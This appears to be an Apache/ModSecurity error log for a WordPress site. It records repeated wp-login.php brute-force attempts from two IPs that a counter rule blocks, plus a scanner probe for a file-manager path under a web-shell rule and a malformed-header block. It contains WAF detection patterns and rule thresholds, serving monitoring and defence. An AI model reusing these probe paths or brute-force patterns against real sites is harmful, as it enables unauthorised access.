[Sat Feb 28 02:03:56.696306 2026] [:error] [pid 38620:tid 38638] [client 5.189.134.86:58923] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcjAP6I7SRqrhh7Ro1ZQAAAVA"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:03:58.021617 2026] [:error] [pid 38620:tid 38624] [client 5.189.134.86:58923] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcjgP6I7SRqrhh7Ro1bQAAAUI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:03:58.021681 2026] [:error] [pid 38620:tid 38624] [client 5.189.134.86:58923] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 14"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcjgP6I7SRqrhh7Ro1bQAAAUI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:04:00.752104 2026] [:error] [pid 38620:tid 38636] [client 5.189.134.86:52638] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHckAP6I7SRqrhh7Ro1dwAAAU4"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:04:02.135312 2026] [:error] [pid 38620:tid 38646] [client 5.189.134.86:52638] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHckgP6I7SRqrhh7Ro1gQAAAVg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:04:04.916464 2026] [:error] [pid 38620:tid 38645] [client 5.189.134.86:52638] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHclAP6I7SRqrhh7Ro1jAAAAVc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:04:06.213015 2026] [:error] [pid 38620:tid 38641] [client 5.189.134.86:52638] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHclgP6I7SRqrhh7Ro1jQAAAVM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:04:06.213110 2026] [:error] [pid 38620:tid 38641] [client 5.189.134.86:52638] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 15"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHclgP6I7SRqrhh7Ro1jQAAAVM"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:04:08.961510 2026] [:error] [pid 38586:tid 38613] [client 5.189.134.86:62667] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcmL_i6nvKNhjFW7VlEgAAARg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:04:10.250700 2026] [:error] [pid 38586:tid 38600] [client 5.189.134.86:62667] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcmr_i6nvKNhjFW7VlFwAAAQs"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:04:12.928560 2026] [:error] [pid 38586:tid 38613] [client 5.189.134.86:62667] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcnL_i6nvKNhjFW7VlIgAAARg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:04:14.197287 2026] [:error] [pid 38586:tid 38596] [client 5.189.134.86:62667] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcnr_i6nvKNhjFW7VlIwAAAQc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:04:16.929329 2026] [:error] [pid 38586:tid 38599] [client 5.189.134.86:62667] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcoL_i6nvKNhjFW7VlKQAAAQo"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:04:18.251439 2026] [:error] [pid 38586:tid 38591] [client 5.189.134.86:62667] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcor_i6nvKNhjFW7VlLgAAAQI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:04:20.967704 2026] [:error] [pid 38586:tid 38596] [client 5.189.134.86:62667] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcpL_i6nvKNhjFW7VlMgAAAQc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:04:22.285683 2026] [:error] [pid 38586:tid 38593] [client 5.189.134.86:62667] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcpr_i6nvKNhjFW7VlNgAAAQQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:04:22.285755 2026] [:error] [pid 38586:tid 38593] [client 5.189.134.86:62667] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 15"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcpr_i6nvKNhjFW7VlNgAAAQQ"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:04:25.063857 2026] [:error] [pid 38586:tid 38600] [client 5.189.134.86:59487] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcqb_i6nvKNhjFW7VlRwAAAQs"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:04:26.440079 2026] [:error] [pid 38586:tid 38607] [client 5.189.134.86:59487] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcqr_i6nvKNhjFW7VlTAAAARI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:04:29.186273 2026] [:error] [pid 38586:tid 38597] [client 5.189.134.86:59487] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcrb_i6nvKNhjFW7VlWAAAAQg"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:04:30.521015 2026] [:error] [pid 38586:tid 38591] [client 5.189.134.86:59487] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcrr_i6nvKNhjFW7VlWgAAAQI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:04:30.521094 2026] [:error] [pid 38586:tid 38591] [client 5.189.134.86:59487] [client 5.189.134.86] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 5.189.134.86 on wp-login.php, counter = 19"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcrr_i6nvKNhjFW7VlWgAAAQI"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:04:32.999758 2026] [:error] [pid 15240:tid 15249] [client 5.189.134.86:53497] [client 5.189.134.86] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 5.189.134.86, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHcsC1iKL_41Rk9A9OQFwAAAAc"], referer: https://gigfragments.org/wp-login.php
[Sat Feb 28 02:12:47.483273 2026] [autoindex:error] [pid 38586:tid 38610] [client 161.97.90.16:53871] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Feb 28 02:23:14.527117 2026] [:error] [pid 15100:tid 15180] [client 106.119.167.146:48522] [client 106.119.167.146] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aaHhEkOEbzcINan_ctLbhwAAAFQ"]
[Sat Feb 28 03:04:29.196205 2026] [:error] [pid 15100:tid 15160] [client 20.104.82.189:60546] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaHqvUOEbzcINan_ctLqwwAAAEA"]
[Sat Feb 28 03:04:33.012290 2026] [:error] [pid 19669:tid 19691] [client 20.104.82.189:52590] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaHqwUy98E5mX0pQrMo_pQAAAZM"]
[Sat Feb 28 03:04:34.844063 2026] [:error] [pid 19669:tid 19676] [client 20.104.82.189:60583] [client 20.104.82.189] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aaHqwky98E5mX0pQrMo_vQAAAYQ"]
[Sat Feb 28 03:31:02.493539 2026] [:error] [pid 15098:tid 15111] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHw9skFqny8dQQbmTlCyAAAAIU"], referer: https://www.bing.com/
[Sat Feb 28 03:31:04.829069 2026] [:error] [pid 15098:tid 15121] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHw-MkFqny8dQQbmTlCzAAAAI8"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:31:07.669907 2026] [:error] [pid 15098:tid 15116] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHw-8kFqny8dQQbmTlC0AAAAIo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:31:10.043356 2026] [:error] [pid 15098:tid 15128] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHw_skFqny8dQQbmTlC0gAAAJY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:31:12.825898 2026] [:error] [pid 15098:tid 15109] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxAMkFqny8dQQbmTlC1AAAAIQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:31:14.996508 2026] [:error] [pid 15098:tid 15112] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxAskFqny8dQQbmTlC1gAAAIY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:31:17.867911 2026] [:error] [pid 15098:tid 15120] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxBckFqny8dQQbmTlC3QAAAI4"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:31:19.868280 2026] [:error] [pid 15098:tid 15111] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxB8kFqny8dQQbmTlC3gAAAIU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:31:22.765529 2026] [:error] [pid 15098:tid 15121] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxCskFqny8dQQbmTlC4QAAAI8"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:31:24.553363 2026] [:error] [pid 15098:tid 15116] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxDMkFqny8dQQbmTlC4gAAAIo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:31:27.524711 2026] [:error] [pid 15098:tid 15108] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxD8kFqny8dQQbmTlC5QAAAIM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:31:29.664448 2026] [:error] [pid 15098:tid 15118] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxEckFqny8dQQbmTlC5gAAAIw"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:31:32.675242 2026] [:error] [pid 15098:tid 15124] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxFMkFqny8dQQbmTlC6AAAAJI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:31:34.976623 2026] [:error] [pid 15098:tid 15122] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxFskFqny8dQQbmTlC6QAAAJA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:31:37.876213 2026] [:error] [pid 15098:tid 15129] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxGckFqny8dQQbmTlC6wAAAJc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:31:40.055948 2026] [:error] [pid 15098:tid 15127] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxHMkFqny8dQQbmTlC7QAAAJU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:31:42.840592 2026] [:error] [pid 15098:tid 15123] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxHskFqny8dQQbmTlC7wAAAJE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:31:44.595486 2026] [:error] [pid 15098:tid 15120] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxIMkFqny8dQQbmTlC8QAAAI4"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:31:47.423734 2026] [:error] [pid 15098:tid 15115] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxI8kFqny8dQQbmTlC9QAAAIk"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:31:49.435603 2026] [:error] [pid 15098:tid 15116] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxJckFqny8dQQbmTlC9wAAAIo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:31:52.253891 2026] [:error] [pid 15098:tid 15128] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxKMkFqny8dQQbmTlC-QAAAJY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:31:54.402132 2026] [:error] [pid 15098:tid 15108] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxKskFqny8dQQbmTlC-gAAAIM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:31:57.122206 2026] [:error] [pid 15098:tid 15124] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxLckFqny8dQQbmTlC_QAAAJI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:31:58.856716 2026] [:error] [pid 15098:tid 15122] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxLskFqny8dQQbmTlC_gAAAJA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:32:01.806316 2026] [:error] [pid 15098:tid 15123] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxMckFqny8dQQbmTlDAwAAAJE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 03:32:03.973862 2026] [:error] [pid 15098:tid 15114] [client 62.60.130.210:53902] [client 62.60.130.210] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.210, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaHxM8kFqny8dQQbmTlDBgAAAIg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
